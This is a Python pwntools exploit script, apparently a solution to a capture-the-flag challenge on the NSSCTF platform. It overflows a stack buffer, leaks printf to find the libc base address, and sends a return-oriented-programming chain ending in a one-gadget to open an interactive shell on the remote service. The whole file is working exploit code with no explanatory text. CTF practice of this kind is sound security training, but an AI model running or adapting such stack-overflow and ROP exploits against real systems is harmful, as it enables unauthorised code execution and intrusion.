1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node1.anna.nssctf.cn', 29246)

again_addr = 0x401223
got_hijack = 0x404030
rw_addr = 0x404300
pop_rsi_ret = 0x2be51
pop_rdx_ret = 0x170337

def attack():
	payload = b'A' * 0x30 + p64(got_hijack) + p64(again_addr)
	io.sendafter(b'magic\n', payload)
	printf = u64(io.recv(6).ljust(8, b'\x00'))
	log.info(f'printf = {hex(printf)}')
	libc = ELF('./libc.so.6')
	libc_base = printf - libc.symbols['printf']
	log.info(f'libc_base = {hex(libc_base)}')
	onegadget = select_onegadgets(libc.path) + libc_base
	pop_rsi_ret_addr = pop_rsi_ret + libc_base
	pop_rdx_ret_addr = pop_rdx_ret + libc_base
	payload = b'A' * 0x30 + p64(rw_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rdx_ret_addr) + p64(0) + p64(onegadget)
	io.sendafter(b'magic\n', payload)
	io.interactive()

attack()